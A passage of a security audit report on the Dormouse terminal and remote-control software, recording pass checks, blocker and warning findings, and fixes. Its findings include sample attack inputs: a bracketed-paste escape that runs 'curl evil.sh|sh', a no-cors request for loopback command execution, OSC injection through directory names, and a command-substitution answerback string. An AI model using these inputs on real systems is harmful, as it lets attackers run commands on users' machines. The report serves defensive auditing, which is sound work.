27. PASS — originAllowedByConnectSrc gates enroll (service.ts:189-196), Host start-up from a persisted enrollment (service.ts:120-128), and adopt (service.ts:329-334).
28. PASS — it fails closed on an unparseable origin (service.ts:353-358 try/catch → false; connect-src.ts:121-126) and on an unparseable source (connect-src.ts:133 if (!source) continue, falling through to return false).
29. PASS — redirect: 'error' on the enrollment exchange: lib/src/remote/host/enrollment.ts:106.
30. PASS — …and on the Host-authenticated push fetches: lib/src/remote/host/push-delivery.ts:80 (the one hostFetch both loadPushDevices and sendPush use).

## Remote Control → Credentials at rest

31. PASS — server/src/state.ts:93 creates $DORMOUSE_STATE_DIR with mode: 0o700.
32. PASS — every file is written through writeAtomic at mode: 0o600 (state.ts:95), with rename preserving it (:96).
33. PASS — negative search over server/src/: the only writeFile is state.ts:95 inside writeAtomic; no appendFile, no createWriteStream anywhere.
34. PASS — write_session_to restricts the directory to 0700 (standalone/src-tauri/src/lib.rs:801) and the snapshot to 0600 (:811), and the mode is applied to the temp file before write_all at :812.
35. PASS — FileHostStateStore creates its directory 0o700 and re-chmods an existing one on non-Windows (lib/src/host/remote/host-state-store.ts:179-186), and writes mode: 0o600 (:195).
36. PASS — VsCodeHostStateStore keeps the enrollment in SecretStorage (vscode-ext/src/remote-host-store.ts:86,93,99); only the ACL is in globalState (:112,126), which the bullet explicitly permits.
37. PASS — the installer generates the setup password locally from 32 bytes of /dev/urandom (deploy/local/install-macos.sh:435 xxd -p -l 32 … /dev/urandom, :437 openssl rand -hex 32), and the guard reads -ge 64 hex characters (:444), not 32.
38. PASS — config/server.env is written under umask 077 (:446) and chmod 0600 (:461); config/ and state/ are chmod 0700 (:367).
39. PASS — an existing config/server.env is preserved byte-for-byte on update: the else branch (:465-467) only re-applies the mode and never rewrites the file.
40. PASS — the password is printed only by manage show-password (:822); the first-install path explicitly says it was not printed (:463-464).
41. PASS — manage verify fails when the LaunchAgent plist contains DORMOUSE_SETUP_PASSWORD (:669-673).

## Remote Control → The setup password

42. PASS — the comparison is constant-time over SHA-256 digests: server/src/app.ts:233-235 (timingSafeEqual(sha256(provided), expectedPasswordHash)).
43. PASS — the fixed failure delay survives: app.ts:149 PASSWORD_FAILURE_DELAY_MS = 250, awaited at :245 on every failure.
44. PASS — permissive CORS is scoped to /api/* and nothing else: app.ts:260 is the only cors( call in server/src/.
45. PASS — no endpoint accepts credentials via cookies: repo-wide grep for cookie/Set-Cookie over server/src/ and lib/src/remote/ returns only the explanatory comment at app.ts:259. Every credential is a Bearer header (bearerToken, :853-856) or a body/query field.

## Remote Control → Network posture

46. PASS — the installer refuses to proceed without DORMOUSE_BIND_HOST=127.0.0.1 (install-macos.sh:473-474, a hard die), and manage verify re-asserts it (:753-757).
47. PASS — manage verify asserts the plaintext port is unreachable on the node's Tailscale IP (:700-710: ts ip -4 → curl http://$tsip:$PORT/api/hello → fail if it answers), plus an lsof listener check at :691-698.
48. PASS — the unset default of DORMOUSE_BIND_HOST is undefined: server/src/config.ts:71 (env.DORMOUSE_BIND_HOST?.trim() || undefined), and server/src/index.ts:67 omits hostname entirely when falsy, preserving listen-on-every-interface.
49. PASS — server/test/bind-host.test.mjs spawns the real entrypoint (spawn(process.execPath, [ENTRYPOINT]) at :47, ENTRYPOINT = server/dist/index.js at :18) and proves the plaintext port is unreachable on a non-loopback IPv4 when the var is set (:94-110), and reachable when it is not (:112-124).
50. PASS — the installer refuses to rewrite a mismatched DORMOUSE_ORIGIN (:242-256, ending in die).
51. PASS — manage verify fails on Funnel: :736-741 matches funnel on case-insensitively across both tailscale serve status and tailscale funnel status.

## Remote Control → What crosses the boundary

52. PASS — server/src/push-endpoint.ts:92-103 rejects non-public endpoints at registration (non-https:, credentials in the URL, localhost/.localhost, and any non-public IP literal), wired in at server/src/app.ts:504.
53. PASS — delivery applies createPublicPushAgent() (server/src/push.ts:267, passed as agent at :285), which wraps createPublicLookup() (push-endpoint.ts:155), and re-checks the endpoint at push.ts:274.
54. PASS — a hostname is rejected wholesale if any answer is blocked: push-endpoint.ts:139-142 (addresses.find(a => !isPublicNetworkAddress(a)) → error), and the checked addresses are handed to the socket at :144-148 so rebinding cannot create a second resolution. 100.64.0.0/10 is in the blocklist (:35).
55. PASS — /api/push/send takes hostId from the Host's own token: app.ts:606 (c.get('host').hostId, set by requireHost at :463-469), never from the body.
56. PASS — it refuses to select recipients when devicePublicKeys is absent or empty: app.ts:599-602.
57. PASS — no read endpoint reports on a caller-supplied devicePublicKey: /api/push/subscriptions deliberately does not filter on one (app.ts:546-573, with the rationale in-comment), and /api/push/devices derives from the presented host token (:575-586).
58. PASS — boundedPushText runs on the Host (push-delivery.ts:55 → sendPush at :143) and again on the Server (app.ts:614-618), from the one shared implementation in server-lib-common/src/security/push.ts:143.
59. PASS — the relay forwards no non-handshake frame before authorization: server/src/relay.ts:288-294 gates client msg on client.established && client.hostId !== null; :168-173 gates host msg on client.established && client.hostId === host.hostId.
60. PASS — it does not route a Host-originated frame from a socket that is not the Client's current Host binding: relay.ts:121 (socket-generation guard) and :132 (if (client.hostId !== host.hostId) return).

## Remote Control → Cloud-hosted mode (staged)

61. PASS — the Server admits no accountId other than SELFHOST_ACCOUNT_ID: handshake.ts:132 (pair) and :189 (connect2); sessions are minted only for it (app.ts:378) and the account file is created only under it (state.ts:140).
62. PASS — no self-serve signup path exists. /api/setup/begin and /api/setup/finish are the only account-creating routes and both go through readPasswordGated (app.ts:268, :276).

Qualitative findings

BLOCKER

B1 — Bracketed paste does not filter the paste terminator, so clipboard content can execute commands.
lib/src/lib/clipboard.ts:50-58

function writePasteToPty(terminalId: string, text: string): void {
  if (!text) return;
  const bracketed = getMouseSelectionState(terminalId).bracketedPaste;
  const payload = bracketed ? `\x1b[200~${text}\x1b[201~` : text;

text is written verbatim. Clipboard content containing \x1b[201~ closes the
bracket early; everything after it reaches the shell as ordinary typed input,
including newlines, which submit (bash binds accept-line to both \C-m
and \C-j). So copying git status\x1b[201~\ncurl evil.sh|sh\n from a hostile
web page and pasting it into a Dormouse terminal runs the second command with
no further user action. This is line 53 in all three hosts — it is shipped
product code, not a dev path.

What makes this a blocker rather than a known terminal hazard is that Dormouse
reimplemented bracketing and dropped the sanitization the library it embeds
already performs. @xterm/xterm@6.1.0-beta.301's own bracketTextForPaste is

function s(e,t){return t?`�[200~${e.replace(/\x1b/g,"␛")}�[201~`:e}

— every ESC in the payload becomes a visible U+241B — and its
prepareTextForTerminal normalizes \r?\n to \r. writePasteToPty calls
getPlatform().writePty directly (the comment at :54-55 says so: "Paste and
file-drop input bypass xterm's onData handler"), so neither step runs.
lib/src/lib/clipboard.ts:53 is the only bracketed-paste writer in the repo.

The spec leans on this control explicitly: docs/specs/mouse-and-clipboard.md
§8.5 describes the wrapping with no mention of filtering, and puts multi-line
paste confirmation dialogs out of scope — so bracketed paste is the defense,
and it is escapable.

Fix: strip \x1b[201~ (or all C0 except \t/\n) from text before wrapping,
and normalize \r\n/\n to \r, matching the embedded library.

B2 — The agent-browser dev harness is an unauthenticated loopback RCE control plane.
standalone/scripts/dev-agent-browser.mjs

pnpm dev:standalone:ab — the command this repository's own
debug-standalone-agent-browser skill instructs agents to run — starts an HTTP
server on 127.0.0.1:1422 with no token, no Origin check, no Host check,
and access-control-allow-origin: * (:138-142, :194). POST /__dormouse_dev_host/send dispatches straight into fireAndForget (:165-171),
which includes

90:  pty_spawn: ({ id, options }) => writeSidecar('pty:spawn', { id, options }),

That reaches standalone/sidecar/main.js → pty-core.js:1066 spawn(id, options)
→ resolveSpawnConfig, which honours caller-supplied shell, args, cwd
and env (pty-core.js:273-317) and passes them to pty.spawn (:1070).

readJson (:131-136) ignores Content-Type, so this is a CORS-simple
request: any web page open in any browser on the developer's machine can issue
fetch(url, {method:'POST', mode:'no-cors', body:'{"cmd":"pty_spawn",…}'})
with no preflight to survive and no need to read the response. Result:
arbitrary command execution as the developer. /invoke (:173-180)
additionally exposes agent_browser_* with an attacker-chosen binaryPath
(a second exec primitive) and read_clipboard_text /
read_clipboard_file_paths, whose responses are readable because ACAO is *.

No shipped artifact is affected — the browser adapter is gated behind
import.meta.env.VITE_DORMOUSE_BROWSER_DEV_HOST (standalone/src/main.tsx:69-73),
which only this harness sets. The blast radius is maintainer and CI-agent
machines, which is precisely where this repository's other threat model
(SECURITY.md → Automated Maintainer) places real value.

Fix: require a bearer token on every request — the harness already mints
controlToken = randomBytes(24) at :36 for a different purpose — reject
requests whose Host header is not 127.0.0.1:<port> (DNS-rebind), and drop
access-control-allow-origin: *.

WARNING

W1 — Dormouse's own shell-integration scripts emit $PWD unescaped, so a directory name can inject arbitrary OSC sequences.
standalone/sidecar/shell-integration/bash/shellIntegration.bash:51,
zsh/.zshrc:69, pwsh/shellIntegration.ps1:137

printf '\033]633;P;Cwd=%s\007' "$PWD"

POSIX path components may contain any byte but / and NUL, including BEL and
ESC. A hostile program creates $'/tmp/evil\a\e]9;PWNED\a' and the user cds
in; every prompt render then emits a sequence whose BEL terminates the Cwd=
OSC early and hands the remainder to the parser as a fresh, fully trusted OSC.
Verified against the real parser:

input:  \x1b]633;P;Cwd=/tmp/evil\x07\x1b]9;PWNED\x07rest
events: [{cwd:{path:"/tmp/evil",source:"osc633"}},
         {notification:{source:"OSC 9",title:null,body:"PWNED"}}]

The injected bytes are consumed by the parser, so nothing appears on screen, and
the effect re-fires every time anyone enters that directory — it outlives the
hostile process. It forges any semantic or alert event in the shell's own voice:
OSC 9 notifications (which latch a ring, persist, are spoken aloud, and are
pushed to the paired phone as an OS notification), 633;E command lines, and
titles. This defeats the parser's sanitization boundary by construction, because
the injection happens on the emit side in code Dormouse ships.

Same root cause in the E field: __dormouse_633_escape
(bash:28-36, zsh/.zshrc:40-47, pwsh:55-61) escapes \, ;, LF and CR —
but not BEL or ESC — so a command line containing a literal BEL breaks out
identically at bash:67.

docs/specs/terminal-escapes.md:154-155 documents Cwd as "sent raw" as a
deliberate choice but does not state this consequence.

Fix: route $PWD through an escaper extended to cover BEL and ESC, or
percent-encode it the way OSC 7 already does.

W2 — The OSC 99 p=? answerback echoes attacker-chosen text into the PTY.
lib/src/lib/terminal-protocol.ts:204-206, :548-557

This is the only answerback whose payload is attacker-controlled (CSI > q and
the OSC 10/11/12 replies are constants or theme-derived). Verified:

input:     \x1b]99;i=X'$(id)`whoami`--evil.com:p=?;\x1b\\
response:  \x1b]99;i=X'$(id)`whoami`--evil.com:p=?;o=always:p=title,body\x1b\\

The reply is written straight into the PTY's input
(standalone/src/tauri-adapter.ts:134-136,
vscode-ext/src/message-router.ts:216,
standalone/src/browser-sidecar-adapter.ts:280). Shell metacharacters ',
$, (, ) and backtick all survive. Bounded, not a blocker:
OSC99_RESPONSE_ID_RE excludes every C0/C1 control and all \s (which in JS
includes \n, \r, U+2028/9), capped at 256 code points — so the attacker
cannot inject a newline and cannot self-submit. The realistic impact is
pre-filling the user's prompt with attacker text that runs if they press Enter,
and it chains cleanly with W1, which fires at exactly the moment the prompt is
empty and waiting.

Fix: restrict the echoed id to a conservative charset ([A-Za-z0-9_-]{1,64})
or drop the i= field from the reply.

W3 — The external-link confirmation dialog shows the raw URI, not the one it will open.
lib/src/lib/external-links.ts:21-47, lib/src/components/ExternalLinkModal.tsx:63,104-107

ExternalLinkModalHost.tsx:32 opens decision.uri (URL.href — punycoded
host, percent-encoded non-ASCII) while the dialog renders decision.displayUri
(the raw, merely-trimmed OSC 8 target). The control-character filter in
inspectExternalUri covers only [\x00-\x1f\x7f-\x9f], so Unicode bidi
overrides and isolates (U+202A–202E, U+2066–2069), zero-width characters, and
IDN homographs all survive into the displayed string and are normalized away
in what actually opens. A user shown https://аpple.com/login (Cyrillic а) is
opening https://xn--pple-43d.com/login.

This is the dialog whose entire stated job
(docs/specs/terminal-escapes.md:78) is to be the trustworthy view of a
deceptive link. The identical character class is already stripped for a
strictly lower-stakes sink — boundedPushText
(server-lib-common/src/security/push.ts:148-157) removes exactly
[؜​-‏‪-‮⁠-⁤⁦-⁩], with the
in-code rationale that they "can visually reorder or hide text". The link
dialog does not. request.displayText, read straight from the xterm buffer
(terminal-lifecycle.ts:89-104), has the same exposure, and
classifyDisplayMatch's deceptive/plain verdict is computed over it.

Fix: render decision.uri (or both, labelled), and run the display string
through the same bidi/zero-width filter.

W4 — HostChallengeIssuer has no count cap, unlike every sibling structure that was capped for exactly this reason.
server-lib-common/src/security/challenge.ts:31,42-49,82-88

#pending is reclaimed only by #sweepExpiredPrefix, which drops the expired
prefix on issue(). Nothing bounds the count. Verified against the real module
with an injected clock: 200,000 issue() calls leave pendingCount === 200000;
only advancing past DEFAULT_CHALLENGE_TTL_MS (120 s) reclaims them.

PairingCeremony.#pruneTickets documents the exact defect in its own comment —
"Age alone is rate-bounded, not bounded: a relay that sends pair frames faster
than they expire still grows this map for one whole grace window. A count cap is
the actual bound" (pairing.ts:303-307) — and then adds MAX_PENDING_TICKETS.
The same argument applies verbatim to HostChallengeIssuer, which has no cap.

Two reachable feeds:

• Host side. RemoteHost.#onConnect (remote-host.ts:484-488) issues one
  challenge per relay connect frame, with no rate limit and no per-client
  ceiling. This is the process that owns every PTY. SECURITY.md line 28
  discusses the #clients growth on this path and concludes those entries "are
  cleared when the socket drops" — but a hostile relay chooses when the socket
  drops, and that sentence does not cover #pending at all.
• Server side, unauthenticated. POST /api/signin/begin (server/src/app.ts:321-325)
  mints from signinChallenges before the caller is authenticated by anything,
  and SECURITY.md states plainly that there is "no rate limit, no lockout, no
  attempt counter". challenge.ts:71-75 names this "the sharp case" and relies
  on the prefix sweep, which bounds retention to 120 s of arrival rate but not
  to any count.

At ~150–200 bytes per Map entry, a sustained 100k frames/sec sustains roughly
12M entries ≈ 2 GB. Fix: give HostChallengeIssuer the same oldest-first count
cap PairingCeremony already has.

W5 — connect2 frame fields are unbounded on the Host, while pair fields are capped at the frame boundary.
lib/src/remote/host/remote-host.ts:367-398, server-lib-common/src/security/connection.ts

#onFrame JSON.parses the raw frame with no size guard and caps only
clientId (256). #onPair then applies isPairingRequest, whose
PAIRING_FIELD_LIMIT = 1024 is described as "where a pairing frame stops being
able to cost the Host process memory proportional to what the relay chose to
send" (pairing.ts:147-153). #onConnect2 (:490-513) has no equivalent: the
relay-supplied request goes straight to authorizeConnection, which
base64url-decodes and UTF-8-decodes clientDataJSON, authenticatorData,
signature, challenge, devicePublicKey and publicKey at whatever size
arrived. ws's default maxPayload is 100 MiB (noted in pairing.ts:150-151)
and nothing overrides it in either host.

Measured against the real authorizeConnection: one 24 MB frame costs
~1.84 s of CPU in the process that owns every PTY; at the 100 MiB ceiling that
is ~7 s per frame, and a relay can pipeline them. The result is correctly a
denial (decision.allowed === false) — containment works, bounding does not.
The adversary is the one SECURITY.md line 17 already admits: "an injected
ConnectionRequest" from a compromised Server.

Fix: apply the same per-field bound to connect2 that isPairingRequest
applies to pair, and/or set an explicit maxPayload on the relay socket.

W6 — Spec drift: pairingFingerprint is not "the leading 8 characters", and it matters.
docs/specs/pocket-app.md:411 vs server-lib-common/src/security/pairing.ts:113-118

The spec says the Hosts screen renders "pairingFingerprint(devicePublicKey),
the leading 8 characters of the base64url public point". The code slices from
FINGERPRINT_OFFSET = 2 — characters 3–10 — and the offset is load-bearing and
documented in code: a raw P-256 point's base64url always begins B, and its
second character carries only ~4 bits, so slicing from zero would spend a
quarter of the fingerprint on almost no entropy. The fingerprint is the only
checkable field in a ceremony that verifies no assertion (RemotePairingModal.tsx:22),
so a second renderer written from the spec would produce a value that never
matches the modal, training users to approve on faith.
docs/specs/remote-security-model.md:194 is correct. The spec is wrong.

W7 — Spec drift: "hostToken never enters a webview realm" is unqualified but the adopt migration path contradicts it.
docs/specs/server.md:486 and docs/specs/remote-security-model.md:155

Both sentences are stated without qualification. They hold for newly minted
enrollments (enroll answers {hostId, serverUrl} — service.ts:218), but
adoptWebviewHost (lib/src/remote/host/activation.ts:138-155) reads the
legacy localStorage enrollment under ENROLLMENT_KEY
(lib/src/remote/host/store.ts:14), which is the full HostEnrollment
including hostToken (enrollment.ts:21-41), and ships it over the
remoteHost:* bridge; the local copy is cleared only once the service answers
persisted: true. The code is correct and the migration is deliberately
bounded (see FAIL IF results 17–19). The spec should scope the claim — a
reader auditing "where can hostToken be found" would miss localStorage on
any installation that enrolled before the service existed.

W8 — The iframe proxy is an unauthenticated loopback forwarder that launders the caller's Origin.
lib/src/host/iframe-proxy.ts:154-209, :276-298

159:  headers.host = grant.upstream.host;
163:  if (headers.origin) headers.origin = grant.upstream.origin;
164:  if (typeof headers.referer === 'string') headers.referer = headers.referer.split(grant.proxyOrigin).join(grant.upstream.origin);

Each grant binds its own ephemeral loopback server (:146) with no token — the
comment at :29 explains why a URL token is unworkable — no Host check and
no Origin allowlist. Any other local process, or any web page that scans the
ephemeral port range, can push arbitrary methods and bodies through the grant
and have the proxy rewrite its Origin and Referer to the upstream's own
origin, defeating precisely the origin-based CSRF check the rewrite exists to
satisfy. handleUpgrade (:276-298) does the same for WebSockets (Origin
replaced at :288), which gives an attacker page a same-origin-looking,
readable socket to a dev server or openvscode-server — WebSockets are not
subject to CORS. Ordinary cross-origin reads are still blocked, so HTTP is
blind-write CSRF.

Mitigations are real (per-surface grants, ephemeral port, 5-minute idle TTL,
cap of 32) but the port is discoverable in seconds. A
Host: 127.0.0.1:<port> check plus declining the Origin rewrite when the
inbound Origin is not the proxy origin closes it without changing framing
behaviour.

W9 — Predictable shared-/tmp paths for the standalone log and agent-browser screenshots.

• standalone/src-tauri/src/lib.rs:188,216-226: the log is
  env::temp_dir().join("dormouse.log") — on Linux /tmp, world-writable and
  sticky — opened create(true).write(true).truncate(true) with no
  O_NOFOLLOW and no mode. A co-resident local user pre-creates it as a symlink
  to a victim-owned file, which the next launch truncates and appends to. It is
  also created world-readable and records [dor-control] listening on <socket path> (dor-control-server.js:350), the deliberately-unguessable path that
  is the dor channel's first documented defence. The token is never logged
  (verified across all trees). macOS is unaffected ($TMPDIR is per-user 0700);
  Windows uses %LOCALAPPDATA%. x86_64-unknown-linux-gnu is in the release
  matrix (.github/workflows/release.yml:28-29), so this ships.
• lib/src/host/agent-browser-host.ts:262-265: screenshotPath is
  os.tmpdir()/dormouse-ab-shot-dormouse.1.default.jpg for the default dor ab
  key, rewritten on every screencast frame under the ambient umask. Any other
  local account can watch what the user is browsing, or pre-create the path as a
  symlink.

Both are inconsistent with this codebase's own standard: restrict_to_owner
exists 600 lines away in the same Rust file, and
standalone/sidecar/clipboard-ops.js:252-259 does the right thing
(mkdtemp + chmod 0o700 dir + 0o600 file) for the sibling clipboard-image
path.

INFO

• requireHost duplicates the UNAUTHORIZED_ERROR sentinel. server/src/app.ts:466 answers { error: 'unauthorized' }, byte-identical to UNAUTHORIZED_ERROR (server-lib-common/src/remote/wire.ts:40), whose whole point per docs/specs/server.md:262-268 is that it uniquely means "session expired — sign in again". Pocket is safe only because it never calls a host-token route (pocket-client.ts:710 matches the constant). Give the host gate a distinct string.
• hostToken travels in a WebSocket query string. remote-host.ts:230 builds …/ws/host?token=<hostToken>, read at app.ts:682. The in-code rationale ("browsers cannot set WS headers", app.ts:676-677) is true of /ws/client but not of /ws/host, which is a Node process; ws supports a headers option. The credential therefore lands in the request line of every intermediary. No concrete leak in the shipped tailnet deployment, but it is inconsistent with the care the "Credentials at rest" table takes with the same value, and there is no defensive redaction if a socket-construction error ever stringifies the URL (sidecar-entry.ts:246, vscode-ext/src/remote-host.ts:245).
• utf8Decode accepts overlong encodings and lone surrogates. server-lib-common/src/security/bytes.ts:90-123 validates lead/continuation shape and the U+10FFFF ceiling but not minimal-length forms or the D800–DFFF range. No exploitable sink today — the clientDataJSON path is signature-bound and the terminal.write path is already raw-keystroke-equivalent — but fromBase64Url above it is scrupulously canonical (it rejects nonzero trailing bits) and this is the one asymmetry.
• Directory entries are not bidi-stripped. lib/src/remote/host/directory.ts:33-45 sends title and cwd to the phone. They are sanitized at the terminal-protocol boundary (control chars stripped, 256-code-point cap) but not for bidi/zero-width, unlike the push sink (boundedPushText) and the pairing modal (boundedPairingLabel). A hostile program in the user's own terminal can therefore make one pane's directory entry read as another's on the phone. Same class as W3.
• Pocket requests userVerification: 'preferred' unconditionally. lib/src/remote/client/webauthn.ts (both registerPasskey and getAssertion). A deployment that sets DORMOUSE_REQUIRE_USER_VERIFICATION=true gets a failed connection rather than a UV prompt, because the client never learns the policy. Security is unaffected — the Host enforces UV — but the failure mode is opaque.
• Spec omissions. docs/specs/remote-api.md (the owner of the wire contract) never mentions MAX_TERMINAL_DIMENSION = 2000 / clampTerminalDimension, though wire.ts:436-444 calls it the security-relevant half and SECURITY.md references it. docs/specs/server.md's HTTP table omits GET /api/hello entirely, despite the installer and SELF_HOST.md using it as the health endpoint. docs/specs/terminal-escapes.md — which bills itself as the exhaustive registry of everything Dormouse "parses or responds to" — has no row for the OSC 99 p=? query/response, the one attacker-influenced answerback (W2). docs/specs/remote-security-model.md:216 points at RemoteHostService.#pendingPairing as a field; it is a method, and the field is #pairings (service.ts:99).
• normalizeExternalUri is a denylist. lib/src/lib/external-links.ts:1 blocks javascript:/data:/blob:/about:; file:, vscode:, ms-*: and any registered custom scheme pass to openExternal. Terminal output controls the URI via OSC 8. Mitigated by the mandatory confirmation dialog and deliberate per the spec — flagged only because W3 makes that dialog less trustworthy than it reads.
• session is unvalidated in the agent-browser daemon killer. lib/src/host/agent-browser-host.ts:209-213 does path.join(agentBrowserStateDir(), \${session}.pid`) with only a non-empty check (:416, :443), so ../reads a pid from an arbitrary file andprocess.kills it (:219, :235). dor ab --sessionbypasses theKEY_PATTERNthat--key enforces (dor/src/commands/agent-browser.ts:186). Same-user only. screenshotPathtwo lines away already appliesreplace(/[^A-Za-z0-9._-]/g,'_')`.
• binaryPath crosses webview→host with no allowlist. lib/src/host/agent-browser-host.ts:122-145 spawns it first in the candidate list, from agentBrowser:* messages. Not a boundary crossing today (it originates from dor ab in a shell the user controls, and the webview is CSP-locked with a per-document nonce), but it is the one webview→host input that names a binary to execute.
• OSC 633;E command lines are not control-character sanitized. terminal-protocol.ts:404-405, :493-498; decodeOsc633Value will synthesize control characters from \xNN, including ESC. No unsafe sink today (React text children, toSpokenText, boundedPushText), but it is the one text channel that skips sanitizeText.
• surfaceRunsCommand's "OSC-only" claim is inaccurate. terminal-state.ts:444-450 and use-dor-control.ts:270-273 both assert a match is by construction OSC-driven; the keystroke fallback also emits {type:'commandLine'} (terminal-state-store.ts:185-188). A TUI painting a fake prompt could make dor ensure report "already running" and hand back a ref to the hostile pane. The --restart path is saved by the independent isPaneOscDriven guard at :274.
• install_skills.sh runs npx skills experimental_install unpinned. The installed skills become .claude/commands/* — agent instructions. skills-lock.json pins each skill by content hash, but the installer package itself resolves to whatever is latest. Not referenced by any workflow (grepped); a manual developer script only.
• Unbounded pre-auth buffering on the dor control socket. standalone/sidecar/dor-control-server.js:209-230 appends every chunk before authentication with no size cap, bounded in practice by HANDSHAKE_BUDGET_MS = 10_000. The peer link does cap this (peer-link-protocol.ts:199).
• Standalone file:/vscode: links silently fail. docs/specs/terminal-escapes.md:82 promises they open after confirmation; standalone/src-tauri/capabilities/default.json grants shell:default with no plugins.shell.open override, so the plugin's default scope regex rejects them. Fail-closed, but the dialog offers an action that does nothing.
• Standalone replay reuses the live protocol parser. standalone/src/tauri-adapter.ts:160-168 vs the VS Code webview's one-shot parser (lib/src/lib/platform/vscode-adapter.ts:127). A replay chunk ending mid-OSC pollutes pending for the live stream. Both paths correctly discard replay responses, so the alert-replay invariant holds.

Verified clean (not findings; recorded so the next audit need not re-derive them)

• Nothing reaches a Host's ACL without a human approving on that Host. Every writer traced: HostAcl.approve ← PairingCeremony.approve ← RemoteHost.#approvePairing ← the PendingPairing.approve closure, which never leaves the Host process (service.ts:96-99) and is reachable only from RemotePairingModalHost's click handler or the approve bridge command, both re-checked against the immutable pairingId. window.dormouseRemoteHost exposes only enroll/status/reconnect/clearEnrollment (activation.ts:118-124) — not approve, deny, or adopt. No dor command touches the remote host (grepped across dor/src and dor-control-dispatch.ts), so a program running in a terminal has no path to the ACL.
• The dor control channel and the VS Code peer link both use an unguessable path in a 0700 directory re-validated with lstat + uid + exact mode on every use, a 0600 O_EXCL token file, a domain-separated mutual HMAC handshake with the token never on the wire, and timingSafeEqual compares (vscode-ext/src/peer-link-protocol.ts:137-169). This is the standard B2 fails to meet.
• Challenge hygiene. Single-use and consumed before any other work (connection.ts:103, app.ts:352, :517); separate issuers per flow so a setup challenge cannot be redeemed at sign-in (app.ts:222-228); DEVICE_AUTH_DOMAIN and PUSH_SUBSCRIBE_DOMAIN are distinct, with push.ts:29-35 giving the exact cross-protocol reason; lengthPrefixedConcat (bytes.ts:144) makes field boundaries part of the signed bytes. A passkey assertion is not domain-separated between sign-in and connect — which is by design and safe, because the device-key signature the Server cannot forge is what stops a harvested assertion from becoming a connection.
• Command construction. No shell: true, no exec() with interpolation, no string-built command lines anywhere in scope; external spawns go through dor-lib-common's spawnAndCapture (argv array) or execFile with argv arrays.
• OSC 52 / clipboard reads. terminal-protocol.ts:459-468 consumes OSC 50 and 52 before xterm sees them, and the bundled @xterm/xterm@6.1.0-beta.301 registers no OSC 52 handler. A remote program can neither read nor write the clipboard. windowOptions defaults to {}, so CSI 21 t cannot echo a hostile title into stdin.
• React sinks. Zero dangerouslySetInnerHTML, innerHTML, eval, or new Function in lib/src/; zero href attributes in lib/src/components/. All terminal-derived text renders as JSX text children.
• Persisted-state deserialization. session-types.ts:120-270 fully shape-guards v3 blobs and strips retired fields; no prototype-pollution sink (recovery maps use Object.create(null)). The recovery-command path is rebuilt from a fixed label plus [A-Za-z0-9][A-Za-z0-9_-]* and revalidated at the run boundary, with a regression test for claude --resume $(touch${IFS}/tmp/pwn).
• VS Code webview trust. CSP default-src 'none' plus per-document script-src 'nonce-…' from randomBytes(24), a per-document message token stamped by the only send path, and </U+2028/U+2029-escaped inline state.
• Tauri surface. No shell:allow-execute; shell:default is open-with-scheme-scope only; PtySpawnOptions has no env field; window labels are sanitized before becoming session filenames; the updater is pinned to an https endpoint with a minisign pubkey.
• canopy/, deploy/ (beyond install-macos.sh), docs/, .impeccable/, and the remaining root files: nothing security-relevant.

Summary

Overall: FAIL

Supply chain and CI/secrets both pass every mechanical FAIL IF check with no
qualitative findings above INFO. Application security also passes every
FAIL IF in its ## Remote Control scope, but the qualitative sweep of the
rest of the product surfaced two BLOCKER findings outside that scope: bracketed
paste does not strip the \x1b[201~ terminator before writing clipboard text
to the PTY, letting hostile clipboard content inject and auto-submit shell
commands (lib/src/lib/clipboard.ts:50-58); and the dev:standalone:ab dev
harness runs an unauthenticated, CORS-open loopback HTTP server that accepts
PTY-spawn requests with attacker-controlled shell/args/env, giving any web page
open on a developer's machine arbitrary command execution
(standalone/scripts/dev-agent-browser.mjs). Several WARNING-level findings
(unescaped $PWD shell-integration OSC injection, unbounded challenge maps,
an unauthenticated iframe-proxy loopback forwarder, predictable /tmp paths)
round out the application-security report but are not what drives the FAIL
verdict.

• Supply chain: PASS
• CI and secrets: PASS
• Application security: FAIL